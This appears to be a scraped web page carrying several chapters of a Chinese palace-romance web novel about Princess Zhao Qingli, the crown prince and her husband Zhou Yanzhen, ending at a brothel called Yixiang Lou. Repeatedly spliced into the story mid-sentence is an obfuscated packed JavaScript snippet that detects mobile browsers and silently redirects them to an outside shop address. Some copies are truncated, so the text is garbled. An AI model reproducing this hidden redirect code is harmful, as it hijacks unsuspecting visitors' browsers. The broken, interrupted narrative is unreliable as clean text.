连不问政事且备受宠爱的赵清漓都知道永元帝疑心病重,那些明争暗斗的皇子们岂会不清楚这点。恰逢赵姝绾一口咬定她和赵辞有私,这事又不需要淮王亲口奏明,只要暗地里推波助澜即可。 知情不报和后宫苟且两件事都在此时指向赵辞,永元帝势必不会轻易揭过此事,成了便是他淮王翻身之日,不成也不会牵连他半分,的确很划算。但他千算万算也不会想到还有个周砚枕牵扯其中,白白浪费了一个夏荷。 储位之争历来残酷,可惜了赵齐素日里把淮王当兄弟看待,却没想到一早就掉进他的算盘里。 赵清漓仍有疑惑:“你觉得下一个赵齐会是我?” 赵辞不否认,挑眉反问道:“你觉得呢?” 她也拿不准,若说和淮王的关系,她不如赵齐同他亲近,且夏荷是惠贵妃的人,夏荷知道的事,即便永元帝勒令不准外传,恐怕淮王也早就知道了。说他会继续拿此事做文章也不是没有可能。 但这样一来,赵清漓有些摸不透赵辞是在担心她被当跳板使,还是担心她的存在会影响自己的太子之位。 一想到种可能,赵清漓的心里有些不舒服。 看着她又呆住,赵辞伸出手拍拍她的脸,动作宠溺,像极了小的时候。 赵清漓抬头,对上他笑盈盈的眸子,关心地对她说:“烧才刚退,就别穿得这么单薄。” 看似厚重的披风之下其实只穿着单薄的寝袍,方才她抱着膝蜷缩在披风里的时候他就瞧出她冷了,只是那会她正在闹别扭,根本不给他机会说这些。 闻言,赵清漓眉心动了动,又悄然梳开了,小声道:“我已经好了。” 赵辞神色有按捺不住的愉悦溢出:“那我问你,你从途中折返回来,可是为了我?” 赵清漓呆了一呆,不想承认他说的有那么一点对,迅速反问道:“那你呢?让我去静安寺也是为了我免受责罚?” “是。” 果断而坦然的回答,反倒让赵清漓一时哑口无言。 赵辞又凑近几分,额头几乎要贴上她的,赵清漓忽而觉得自己的脸颊有些热,许是离宫灯太近了,竟觉得过于烘烤了。 赵辞紧追不舍:“我都这么坦诚了,你也跟我说说?” 赵清漓别扭的要离他远点,脑袋撤后时却被他一把按住,甚至还朝自己那边揽去一些,额头毫无间隙地贴上她的。 鼻尖陡然被清晰的呼吸声包围,而后那呼吸声在极短时间里变得沉重微乱,她挣脱不动,也不敢看,只得垂下睫毛,却没办法控制它因为对面那人而轻轻颤抖。 她也不想回答。 “我知道。”赵辞兀自说着,声线低哑喑沉,“你不愿承认也无妨,我知道的。” 趁她还没反应,赵辞又忽然放开她,起身,背过去,动作一气呵成。 他的喉间似有隐忍,吐出一口浊气,背对着她说道:“你早些休息,病好了便出宫去。” 那道素白干净的身影抬起腿便要离开,没有一点要多做停留的意思。 赵清漓心中动了动,忽然叫住他:“你执意要我出宫,究竟是为了我的安全,还是根本不想我查清此事?” 脚步果然因她的话而顿住,停了一下,赵辞缓缓回头,面带疑惑地问:“为何这样问?” 为何...... 她也不知道,只是觉得应该、应该要问。 赵清漓摇摇头,神情有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵辞好整以暇的低头瞧了瞧自己的衣裳,素白雅静,十分满意地点头:“这话倒也没错。” 长宁公主疑惑地转了转脖子,许是在这狭小阴冷的空间待的久了,身子冻的有些僵硬。 见她没听明白,赵辞好心解释道:“本宫是来送你上路的。” 长宁公主这才注意到赵辞身后站着的灰色身影,室内光线昏暗,李牧的身材又偏矮小,再加上他贴门站着,很难注意得到。 饶是她再傻也知道这是什么意思,她就知道,早晚会来的。 长宁公主冷笑了几声,斜挑着眼看向赵辞,还不忘挖苦的语气:“我竟有如此大的面子,还能劳动太子大驾送我上路,还......” 她费力地抬手上下指了指他一身白袍,道:“为我送终。” “你值得本宫一送。”赵辞笑得温润如玉,连送人去死都挂着一副君子的模样,“本宫得感谢你。” “谢我什么?”长宁公主不以为意地剜他一眼,随口道,“谢我没能把你拉下太子之位吗?” 赵辞不语,只是噙着笑。 李牧咳了两声,提醒他时候到了,又说道:“请殿下站远一些,免得这些腌臜事脏了您的眼睛。” 赵辞颔首,向后退了几步,远远看着进来几人摆好绞杀的刑台和器具,且等着行刑。 脏吗?他不觉得,他反而看得很舒服。 他享受那种看着憎恨之人奋力挣扎却无能为力的感觉,那是一种报复欲得到满足的愉悦。 除此以外,他的确是抱着感谢的心态着了这身衣裳,感谢她让自己找到了一个答案。 一个他一直很想知道的答案。 33. 第 33 章 养病这几日的生活倒是格外平静。 除了张御医每天会按时按点过来看她的恢复情况,永元帝也派李牧来看过她一次,都是周砚枕去应付,她只管躺在床上,倒也乐得自在。 很快的,张御医说她不必再吃药了,永元帝的旨意也即刻到了。 她离宫的事没有大肆宣扬,但走的那天,赵清漓看到永元帝倚在步辇上,强拖着病躯与她嘱咐几句贴心的话,人也看着苍老许多,她到底还是鼻子酸了。 十七余年,赵清漓从未离开过这座皇宫,她原以为这里会是她永远的家,但从她死过一次之后,她知道这天下根本没有什么永远的家。 周砚枕在宫外的宅院在她养病那几日已经打点好,太子着意命人添了许多物件,永元帝也事先送了许多金银玉器来,生怕亏待了自己这个女儿。 驸马府的描金牌匾高高悬挂在屋檐下,这座宅院不小,外观看着很是气派,只可惜偏远了点,几乎在上京边界了。 周砚枕扶着她下马,进了宅院一处一处同她介绍。 赵清漓自己带着的只有春桃、秋桂和冬梅三个丫鬟,其余都是原本就在府上的,人数不算多,也是周砚枕不喜欢太多人打扰的缘故。 赵清漓一边随他四处转,一边问道:“这宅院是你自己选的吗?” 周砚枕点点:“选址是我定的,宅子是太子置办的,也算是我选的吧。” 赵清漓这可好奇了:“为何选这么远的地方,每日上朝不是要起很早吗?” 周砚枕不在意道:“我喜欢清净,上京中心住了许多大臣,我若也和他们一般聚集在那里,恐怕门槛早被踩破了。” “哦......”赵清漓似信非信地点点头,忽而想到那处花楼,顿了顿,还是没忍住开口,“那......倚香楼离这里远吗?” 周砚枕的步伐随之停下。 鬼使神差的,他想解释,哪怕是违背太子心意,哪怕会就此惹怒太子,他也想为自己辩解一下,反正违背太子心意的事他也不是没做过。 “清......” “好了好了!我就随口问问,继续转吧。”赵清漓突然捂着耳朵,叫嚷着打断他还未出口的解释。 赵清漓不是不想听他解释,而是生怕他说出很近之类的话,倒像是打自己的脸,自讨没趣。 周砚枕抿了抿嘴,唇角微沉。 他哪里知道赵清漓心中想什么,他只是觉得她不想听...... 她只是不想听罢了。 —————— 永元帝近时连遭打击,身体一下垮了许多,一连许久未曾上朝,前些日子太子又无端不现身,上奏的折子堆得几许,也不知该如何处置。 依照常理,皇帝重病,太子可以监国,偏偏赵辞那边还没查清六皇子的事,自己的嫌疑也不能彻底摆脱,永元帝心中存了个疑影,不肯放手令他掌事。 因此,朝堂上虽没有人议论太子的私生活一事,却已经有人说永元帝似乎对太子不甚满意,这储君......兴许有变故。 赵辞倒也听过类似的闲言碎语,譬如永元帝觉得赵辞不是从小养在身边的,感情没那么深厚,又譬如永元帝其实最属意的还是从前的瑞王,甚至还有人说,淮王未免彻底失去了机会。 但这些他都没放在心上,其中缘由他和永元帝都很清楚,只不过有些人如死灰一般的心思恐怕要复燃了。 第二天一早,进宫的马车已经候在门外。 六皇子的事仍在调查虚实,周砚枕还要常去向太子回禀情况。 赵清漓鲜少在外面住,对驸马府的一切还不习惯,早早的就醒了。 听说周砚枕要出门,赵清漓闲来无聊,便随意转到了宅院门前,届时周砚枕刚打点好一切,正要上马车。 驾车的仆从正对着门内,憨笑着弯下腰,向赵清漓打了个招呼:“公主金安。” 闻声,周砚枕停下动作,转过身去看,眼前还真是梳妆完毕的赵清漓。 周砚枕略显诧异地问:“你怎么起来了?可是住的不习惯?” “还好。”赵清漓揉了揉微微发酸的脖颈,打量一圈他身后的马车,回过头道,“你要进宫去?” 周砚枕点头:“六皇子的事有点眉目了,趁早解决此事,也好替太子洗清嫌疑。” 嗯,应该的。毕竟他在外人眼里是太子最忠实的鹰犬嘛。 赵清漓没再问下去,也没提赵辞,只说了一句:“替我问问六哥是否安好。” 周砚枕道了声“好”,停顿了两秒,又问:“没有别的?” 这话没头没尾的,她不明白。 赵清漓蓦然歪过头,疑惑的表情望着他:“还有什么?” 然而周砚枕只是喉结上下一动,抿唇笑了下,柔声说道:“没什么,你安心在家,若想出去逛了,就多带些人上街,或者等我回府再陪你一起,有急事便让人去宫里传信给我,我马上回来。” “对了,你身子刚好利索,还是多穿件衣服,免得再受凉。”说完这些,他想起什么,又仔细补上一句:“此番不会耽搁太久,我早去早回。” 赵清漓从没想过周砚枕也能啰啰嗦嗦说这么多关心自己的话,不像平日里拒人千里的周中丞,倒像是寻常百姓家的周相公。 赵清漓想,若他真是普通百姓,一定会是个很体贴的人。 随行的婢女忍不住偷笑,没想到自家大人也有这样温情的一面。 窃窃的笑声没让周砚枕觉得害臊,反倒惹得赵清漓自觉难堪起来,随口答了声“知道了”,于是推搡着催促他快些上车。 周砚枕被她轻巧的力气推着,俨然觉得此刻的赵清漓多了些从前的小女儿性情,不由得弯起唇角,掀起衣摆随她赶走自己。 这段时间以来,她实在沉郁了太久、太久。 —————— 在赵清漓的记忆中,除了上元、秋夕等这些节日,赵清漓很少有机会能出宫去看热闹,即便是出去了,身边总不乏大批侍卫随行跟着,难有自由的时候,如今出宫来了,她颇觉得新鲜,急着要去市上转转,想瞧瞧坊间百姓是如何生活的。 但赵清漓也不是个拎不清的人,头一次上街还是要谨慎一点,周砚枕提醒她多带点侍从,她便在府上叫了两个有些身手的仆役。春桃眼巴巴看着她,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999052|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很想出去的,赵清漓也就一并带上了。 中丞府的马车没那么招眼,虽然比一般四品要员的还要朴素些,但制式尚能认得出是朝臣府宅出来的,寻常人也不敢为难。 与她旧时灯节所见不同,白日的上京和夜晚是迥然不同的风格,人声喧哗的长街上,马车幽幽行驶经过,终是到了闹市。 帷帘高卷,春桃自打进了街市,眼睛就没从窗外景致移开过,口中不断发出惊讶的声音。 赵清漓疑惑道:“你入宫前也是在外头生活的,怎么还像是刚进城一般?” 春桃难得露出窘迫的神色,扯了扯衣角,不好意思地开口:“奴婢原是在庐州张家做粗使丫头的,平日里也就在宅院做些杂事,没什么机会上街,后来主人家道中落,宅院里的奴仆们悉数变卖,奴婢这才有机会进了上京。” 富贵也好,贫苦也罢。 如庐州张家那样名噪一时的富贵人家也有落魄的一天,也如周砚枕这样入京以前名不见经传的人物也能站上今时这样的位置。 总归各有各的命数,各有各的苦难。 赵清漓收回落在车窗外的目光,同春桃聊起天来:“那你觉得上京比庐州如何?” “当然是上京好呀!”春桃立刻变得笑呵呵的。 “哦?”赵清漓饶有兴致地看着她,“上京哪里好?” 春桃则是认真掰着手指数道:“上京......地方大、热闹、稀罕物件多......人也好!” 说到兴处,神采越发飞扬起来:“而且皇宫也在上京呀!” 旁的她倒是认,若说人好,赵清漓好奇起来:“张家的主人对你不好吗?” 春桃摇摇脑袋,苦着一张脸:“不好!张家苛待下人习惯了的,不如公主宅心仁厚。” 继而春桃转了笑颜,还有点不好意思道:“奴婢当初刚刚入京,差点就被卖进花楼,多亏了太子殿下出手相助......啊,奴婢说错话了......” 见赵清漓的脸色渐渐沉了下去,春桃的声音也越来越小,小心观察她的脸色。 赵清漓脸色阴沉片刻,很快的装作不在意道:“无妨,你方才说......花楼?” “倚香楼”三个字立刻涌进她的记忆。 她斟酌了半天,看似随意地问道:“我曾听六哥提起,上京有个''倚香楼''颇有名气,你可听说过?” “没有,奴婢又不是男子,哪里会知道这些地方......”正说着,春桃突然眼睛一亮,指着赵清漓身后叫道,“诶?公主您瞧!那不就是您说的''倚香楼''吗?” 赵清漓立刻转过身去,趴在窗沿去瞧那“倚香楼”究竟是个什么模样。 紧临宽街,青石板路上矗立着一座清漆涂饰的楼阁,青砖黛瓦,轩窗紧闭,大约三层的样子,门额悬着“倚香楼”三个大字的匾额,朱漆大门敞开,花灯围悬。 偶有身着绫罗的女子影影绰绰在门内经过,引得路过行人忍不住驻足回望。 随着马车越来越远,再多的景象也看不清了。 赵清漓抿着唇把头转回车厢里,眉眼微垂间,默默记下了这个地方。 34. 第 34 章 时近黄昏,早晨进宫去的马车才落停在府前。 周砚枕进门时,瞧见正在装卸货物的马车,就知道白日里赵清漓已经出去过了。 送进府上的礼盒并不算多,左不过是些吃食和小玩意儿。 想想也是,她养在深宫后院,什么名贵珠宝未曾见过,又怎会看上街巷那些寻常的器物。 周砚枕浅浅弯了下唇,方才进门前的阴郁被他忘却了一瞬,然而也只是一瞬,微风拂过的瞬间,他闻到自己身上难以散尽的胭脂香味,急促地皱起眉头,调转步伐,先去耳房换了件干净衣裳。 赵清漓养尊处优惯了,寻常女儿家的那些绣花抚琴她都是不会的,诗书她觉得晦涩,在上书房时也未曾十分用心,可以说很像她的生母,皆是了了。 唯有下棋她算是比较有兴趣,虽算不得精湛,也能与人博弈几个回合。 春桃的棋艺更是潦草,不出十步就要被杀下来,其他人便是完全不会了,好在驸马府上的管事桑儿棋艺竟然不错,闲来无事,赵清漓便同她在院里摆弄棋子。 门前落叶沙沙的响,踩上去“嘎吱”一声就碎了,四分五裂的随风而去。 赵清漓正在犯难的节骨眼儿上,听见这细碎的声音迅速扫过一眼,没来得及多想他为何回来得这样晚,只是腾出一只手朝他摇了两下,招呼他过来。 她头也不抬,眼睛死死盯着满盘的棋子,嘴上喊着:“周砚枕,桑儿说她的棋艺是你教的,你快过来看看,我这步棋该怎么下!” 衣袂随风扬起,随着他大步踏来的动作向后飞舞,也随着他停下的步伐而落定。 周砚枕在她身侧停下,微微俯下身子,在两人中间的棋局上扫了一眼便道:“落这里,立二、拆三。” 赵清漓依言下了,等到桑儿又落一子。 她锁着眉虚心道:“然后呢?” 周砚枕提醒:“拆边。” 说这句话时,他身子又近了点,为了看清盘上局势,这样微小的动作却让赵清漓全身一僵,方才还执迷于棋局的脸色变得难看起来。 赵清漓端正了身子,声音凛下几分:“桑儿,我有点累了,这棋改日再下。” 桑儿“啊”了一声,疑惑地看看她,又看看周砚枕,也不清楚发生了什么事,公主怎的就突然变脸了。 可她毕竟是下人,不好多嘴什么,便道了声“是”,低着头退下。 赵清漓起身正对着他,假模假式地勾起唇,笑看着他:“不是说早去早回吗?” 周砚枕怔了下,以为赵清漓怪他回来晚了,歉声解释:“在玄华宫多留了一会儿,抱歉,下次一定实现传信给你。” 赵清漓冷然别开脸,甩了下衣袖背过身去:“我六哥情况如何,你可替我问了?” 周砚枕迟疑了下,说道:“据我所知,六皇子对这些人的来历的确不甚清楚,吏部疏忽也是事实,但吏部和淮王之间是否有牵扯还需进一步的查证。” 他顿了顿,跟上一步,在她背后继续道:“圣上在等太子结果,还未过问六皇子,所以他暂时没事。” 赵清漓不经意地笑了声:“就这点事也值得你耽搁一日的时间?” 周砚枕肩头一僵,就见赵清漓猝然转过身,凑近他的颈项轻嗅了下,紧接着抬起双眸冷冷看着他:“好香啊。” 绝对不算友善的语调。 没想到她鼻子这般灵敏,即便换了身衣裳熏了半刻的香,竟也因为发间这点微弱的香气漏了馅。 今日,他的确去过倚香楼,但他并未待得很久,只怪那楼里的香粉味太过浓郁,若非仔细沐浴焚香一番,断不能轻易祛除干净。 还是被她闻到了。 周砚枕想,这次总归要解释清楚了,又跟上一步:“清漓,你误会了......” 赵清漓却反推,疏远地道:“周大人,这里没有外人,你不必和我演戏。” 她定是误会了,因为误会,所以气恼。 想到这里,周砚枕虽然无奈,却还有一丝愉快。 他认真道:“我去倚香楼并非寻花问柳,也并非你想的那样有什么相好,我去那里是见——” 提起“相好”二字她就来气,脾气顿时上来了。 “芍药娘子是吧?”赵清漓缜着脸打断,讥讽地扬了扬嘴角,“周大人爱去见谁便去见谁,反正你是替太子做事的,不必费心编理由搪塞我,我、不、介、意!” 太子。 一声“太子”让周砚枕顿时清醒起来。 是啊,他是太子的人,他知道自己是怎样爬上这个位置,这个官位,这间宅邸,全都是太子所赐。 他还记得他曾对太子说过,让赵清漓误解他的为人,对太子是有益的。 他曾信口说出那样的话,可如今他在做什么?他想要推翻自己说过的话? 抬起的手臂缓缓垂下,月白的衣袖之下,他的手指微微颤抖,抑住了那份冲动。 周砚枕扯了扯唇角:“抱歉。” 赵清漓晲着他,鼻间溢出一声冷哼:“抱歉的话以后不必再说了,只是下次你若有心要藏,还是藏得干净一些。” 临走前,她刻意掩住口鼻,鄙夷地丢下一句:“恶心。” —————— 芍、药、娘、子! 是吧? 赵清漓咬着牙,走路都像带风似的。 今日趁着周砚枕去吏部走访,她特意不带侍从,连春桃都被她丢在驸马府。乘着府上马车远离了那荒偏宅邸,再找个由头打发驾车仆役替她去采买东西,自己则是朝着她记下的方向走去。 那个花魁,她高低要瞧瞧是个什么人物! 还没走近楼阁大门,门内的香气就扑鼻而来,整段街道似乎都是香的,赵清漓却觉得刺鼻,忍不住蹙起眉缩缩鼻子,强忍着上前。 她今日穿了一身碧色的衣裙,颜色清雅淡若水,发饰也换了素珍珠和常见的翡翠,想着自己看起来只像个寻常人家的小姐。 赵清漓毕竟涉世未深,不在坊间走动,她哪里知道自己虽然一身素衣装扮,以倚香楼里的娘子们的眼界,只需扫一眼便知她身上衣裳的面料织花不是凡品,素珠翡翠虽不名贵,瞧那品相成色却是万里挑一。 因此,赵清漓在她们眼里只是个想要藏拙的非富即贵出身。 倚香楼并不是女子寻乐的地方,若偏有女子要闯,不是卖身便是来捉奸的!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999053|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵清漓看起来并不是缺钱的样子,那只能是后者。 既是后者,那就算是影响楼里生意,是找茬的。 “哎——”穿着绫罗衫裙的女子即刻拦住她的步伐,媚眼如丝盯得赵清漓起了鸡皮疙瘩,“这是倚香楼,姑娘来错地方了吧?” 赵清漓下意识躲开她的手臂,有点嫌恶地说道,“我是来找人的。” “找人?” 周围几人哄堂大笑,不以为意道,“来我们这儿的都是找人的,不过他们是来找女人,你——” 拦着她的姑娘上下打量她一遍:“你要找男人,可别在我们这儿找!” 过往的客人也跟着驻足,观赏她们的目光有打趣的,有不明所以的,还有眼神落在她身上来回游移的,心中猜想她莫不是这楼里新来的小娘子,出落得这般芙蓉玉面,不由得起了不轨之心。 这让赵清漓极度不适。 她何时被人像猴子一样这样戏耍赏玩过,她千金贵体,此等举止简直是在侮辱她! 赵清漓隐忍着旁人的目光,将下巴缩着想要避开,口中道:“我也是来找女人的。” 周围的人又是一阵哄笑。 这小女子还有这等癖好?定是来寻情郎编出的瞎话。 赵清漓的忍耐在一轮一轮的笑声中几近崩溃边缘,她懒得再废话,从袖袋取出荷包,随手一掷就是一锭金子。 她捏着金子对拦她那姑娘直接说道:“让我进去。” 有钱能使鬼推磨,那娘子瞧见亮闪闪的金元眼睛都亮了,哪里还管她是男子还是女子,随她去吧! 一把夺去那锭金疙瘩,她的脸也立刻换了一副截然不同的表情,态度谄媚道:“贵客您快进!您要找谁同奴家说一声就成,奴家替您去寻?” 赵清漓一面随着她上二楼,一面说道:“我找芍药娘子。” “芍药娘子......”那娘子垂头思索了一会儿,想着赵清漓还是个闺阁姑娘,便隐晦地说道,“她这会正忙着呢,姑娘许得等一会儿。” 赵清漓点头,自然地接道:“等多久?” “......这就不好说了。”她意有所指地笑了笑。 那娘子领着赵清漓转瞬经过二楼台阶,朝三楼走去。 停到三楼阶上时,她随意扫向最下层厅堂,兀的眼前一亮,拿着绢帕的手在赵清漓肩上轻轻点了一下:“哎,我那熟客来了......喏,往里走把角第三间就是,你自己过去吧!” 说完,她如同一只花蝴蝶一般轻盈地转了个方向,沿着方才上来的阶梯快步朝下走着,扭着腰身的动作娴熟魅惑,同赵清漓进门时所见那些姑娘都没什么区别,像是统一训练过一样。 也是,流落到这种地方,若还硬着头演高洁,只怕是要饿死在这楼里。 赵清漓并没有看不起她们,反而觉得这些女子可怜,她们或许并非本意,但都是为了生存,否则谁又天生愿意去陪那些形形色色的衣冠禽兽。 说到底,她不过因为周砚枕流连这里而天生对她们有敌意罢了。 想到这儿,赵清漓自嘲地笑了笑。 还说旁人呢,她的驸马不也是这群衣冠禽兽中的一员吗? 35. 第 35 章 赵清漓站在阶梯前。 向前走便是深远的长廊,数不尽的阁间或紧闭、或敞开着,凭栏上有人毫不避讳的相拥、亲吻,一派旖旎。但这样的场景在这间花楼里却是最为寻常。 赵清漓看得羞怯。 她大可以打退堂鼓,向后一步就可以原路折返,回到她的宅院里,反正她早做了打算不去理会,也说了不会介意那样的话。 可她今日还是由着内心来到这里。 既然来了,哪有现在就走的道理。 赵清漓心中有了决心,步子也迈的坚决了。 越过一道道交叠的人影,她的脚步停在所谓的把角第三间,那位名叫芍药的花魁娘子的房门前。 方才那位领她进来的娘子说花魁娘子兴许正忙着,在花楼里能忙什么,用头发丝儿想都知道。这要是贸然闯进去了,也不知要撞见什么不该看的。 赵清漓便低头站在门外边等,样子有些窘迫,毕竟孤身立在人家房外,像是听墙角似的,但这种地方有什么好听的,因而旁人瞧见这副场景,也不得不多想一层。 凭栏倚靠,她的目光扫过一楼大堂,那里宽敞,除了楼里姑娘外,进门的多是穿金戴银的暴发户模样。青天白日的,也只有这些不会顾惜颜面的人来往,若到了晚上,那进进出出的人才叫多呢。 约莫一盏茶的功夫,身后门闩略有几声响动,一男人摔门而出,口中还骂骂咧咧的。 “以色侍人的下贱胚子,竟也敢瞧不起我!呸!” 那人怒气冲冲地走了,门还半开着,赵清漓犹豫了下,刚要上前,却见几根纤长柔白的玉指扶上了褐红门框,指尖的寇丹点的分外好看,仅凭一只手足以见得相貌定也不凡。 赵清漓看得一时呆了,眼见着门马上要被关上,她连忙拦住:“等等!” 那人停下手劲,从里面探出头来。 薄黛略施,绛唇轻点,蛾眉如柳。高高盘起的发髻上插着几支翡翠簪子,簪上的嫣红流苏随着她的动作轻微晃动,发出清脆的声音。两鬓青丝低垂,落在她水蓝色的衣衫上,柔白的披帛半挂在肩头,不似楼下那些俗物,倒像凡尘落难的仙子。 赵清漓试探地开口:“芍药......娘子?” 那娘子笑了,如冬雪化开一般清冷温婉,声音却不似外表那样清爽,如她的名字一般带着勾人的韵味,调侃道:“男子找我也就罢了,怎的你这小丫头也来寻我,莫不是我的名气大到如此地步,竟能男女通吃了?” 她的相貌的确万中无一,眉眼气质甚至与周砚枕很像,都是神仙模样。 但赵清漓未免认错,又确认一番:“姑娘可是芍药娘子?” “正是。”芍药娘子笑得勾魂夺魄,宛转着身姿自顾自朝里走,“进来吧,把门带上。” 原以为“芍药”这样的名字,定要配上一个勾魂妖精才算合适,却没想到是这样的女子,许是现在的男人都很吃这一套,越是看似不可亵玩的人物,到手了才会越有成就感。 赵清漓随她进去。 暖阁里还算宽敞,两间相通的屋子只有外间有扇小窗,光线自然不太好,白日里桌上也落着灯,反添几分暧昧,倒也满符合这楼里里外外的景象。 芍药娘子随意招呼赵清漓坐下,添了珠兰花茶,手艺颇为娴熟。 过会儿她勾着唇角,头也不抬地道:“姑娘这么盯着我,可是觉得我好看?” “灯下看美人,娘子与我认识一人有些相像。”赵清漓垂眸笑了笑,转而赞道,“媚欺桃李色,香夺绮罗风,娘子绝色。” 这样的话想必她已听过无数次了。 芍药娘子以朱唇尝茶,不以为意道:“你这小丫头当真油嘴滑舌,罢了,你来寻我何事?若是来找男人,我这儿只有一个才摔门离去的朱家公子,我想他一定不是你要找的人吧?” 赵清漓没正面回答她,也稍抿一口茶停顿了下,随意问道:“方才他为何摔门而出?” “自然是银钱不够,他那点钱,只够在我这儿喝杯茶的。”芍药娘子不屑地抬起了长睫,微微眯起眼,“纵然你是个姑娘,但若口袋里的金子没带足,我也是要把你赶出去的。” 还真是个眼里只有钱的。 赵清漓在心底鄙夷地哼了一下。 好在赵清漓并不缺钱,从荷包里又摸出两锭金子来,随意地丢在桌上,一脸财大气粗的样子:“这些可够你两杯茶钱的?” 芍药娘子目光在桌上金锭上停了一瞬,并未收下,只是莞尔道:“看来那男子很重要了?” 赵清漓迎着她的目光,一点也不怯懦地回应:“是你重要,我是来看你的。” 俗话说,不蒸馒头争口气,她今日就是想来瞧瞧这芍药娘子究竟好在哪里,现在看来除了相貌以外,仍是俗不可耐。 芍药娘子比她年长五六岁,识人无数,自然不能信她的鬼话:“姑娘生得花容月貌气质不凡,出手又这般阔绰,想来夫家也不是寻常人物,让我想想......” 她做出苦想的样子:“唔......莫非是朝中显贵?” 赵清漓的眼梢微不可闻地跳了一下,但她着力假装镇静,不想被她看出来。 然而芍药娘子早已把她的神情尽收眼里,了然一笑:“若说来我这儿的朝中显贵那可是不少,年轻的倒是不多,姑娘......不会同六皇子有什么关系吧?” 赵清漓面上又是闪过一分动容,她不是为六皇子来的,但若说关系,他们也确实颇有渊源。 芍药娘子打趣道:“我就随口那么一说,姑娘莫要紧张。” 赵清漓将杯中的茶水一饮而尽,话锋一转:“好香的茶。” 芍药娘子立刻扶袖又为她添了七分:“这是五月盛花期收的珠兰花穗,浓而不烈、清而不淡,最是生津止渴、提神醒脑。” 黄绿色的叶子和花穗在茶盏中漂着,浮浮沉沉。 赵清漓垂眸思索了一会儿:“听娘子的语气,像是见过许多权贵士族似的。” 不说还好,听赵清漓这么一说,芍药娘子立刻知道她要找的人并非权贵。 芍药娘子捋了捋额角的鬓发,自言自语一般:“不是权贵......看来是朝臣了?” “铛”的一声,刚被拿起的茶盏还没离开桌面就落回原处,茶水顿时沿着杯沿转了几圈,还落下几滴在红木贴面的桌几上。 芍药娘子观望着,幽幽开口:“姑娘......不,或许奴家该唤您一声......殿下。” 赵清漓惊讶于她竟能如此之快猜出自己的身份,许是从前在街头路上见过,可自己却毫无印象。 “你认识我?”赵清漓有些疑惑。 芍药娘子缓缓摇头道:“殿下识得六皇子,却又不是来寻权贵公子的,想来想去——” 她陡然狡黠地笑了:“听说前些日子大历公主出嫁,驸马正是当朝状元郎四品中丞周大人,姑娘生得这般美貌,想必也只有那位大人配得上了......不过奴家也只是猜测,殿下倒是先承认了?” 不愧是在上京城也如鱼得水的花魁娘子,眼色、见识、识人方面都令人叹为观止。 赵清漓自知没必要瞒下去,索性也就不瞒了,抓住她话里的把柄反问:“这么说,你果然认识周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999054|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚枕?” “见过,但不熟。” 芍药娘子自顾自喝了口茶,抬眼瞧见赵清漓写满了不信的脸,失笑道:“殿下莫要这样看着奴家,奴家说的都是实情,周大人是来过我这儿,却非我床笫之客,奴家与他......不过萍水相逢罢了。” 萍水相逢? 是什么样的萍水相逢可以持续多年之久,又是什么样的萍水相逢能让他这般念念不忘? 萍水相逢,赵清漓断不会信的。 芍药娘子看着她冷漠的神情,无奈道:“殿下信也好,不信也罢。” 那两锭金子被推回赵清漓的面前。 芍药娘子又道:“今日这茶算我请你喝的,若殿下下次还想喝,尽管来找我,奴家......愿意请您。” 两人互相对望着,空气中顿时充满了剑拔弩张的意味,不过却是赵清漓单方面带着敌意的目光望着她,反观芍药娘子,她却是眉目含笑,坦然大方的。 楼下的哄闹声渐渐大了,桌上的烛火突然闪了两下,是因为房门被人用力捶打着。 咚咚咚、咚咚咚。 粗暴之极,就差直接破门而入了。 赵清漓颤了下肩头,带着防备的眼神看向门口,倏然站了起来。 “刑部查案!还不快开门!” 赵清漓神色颇为慌张,刑部的人怎么来了这里! 寻常百姓不认得她也就算了,刑部里可不乏见过她的人,这般贸然下楼,万一碰上哪位认识她的大人首领,传去宫里可还得了? 芍药娘子看出她紧张,安抚道:“帘子放下,去里面躲一下。” 赵清漓点点头,也顾不得二人的情敌身份,闪身进了里间,乖乖将帷幔放下躲在梁柱后面。 房门开了。 芍药娘子调笑的声音说道:“刑部查案怎么查到我这里来了,奴家可不记得自己犯过什么事。” 男人趾高气昂的声音问道:“你是周慕紫?” 门前静了下,芍药娘子说道:“奴家芍药。” “少废话!”男人哼了一声,“我管你什么花啊草啊的,我问你奴籍上姓名可是叫周慕紫?” 芍药娘子停顿了下,微微叹一口气,应道:“是。” 男人冷笑:“那就没错了,带走!” 脚步声由近及远,似是那伙人已经走了。 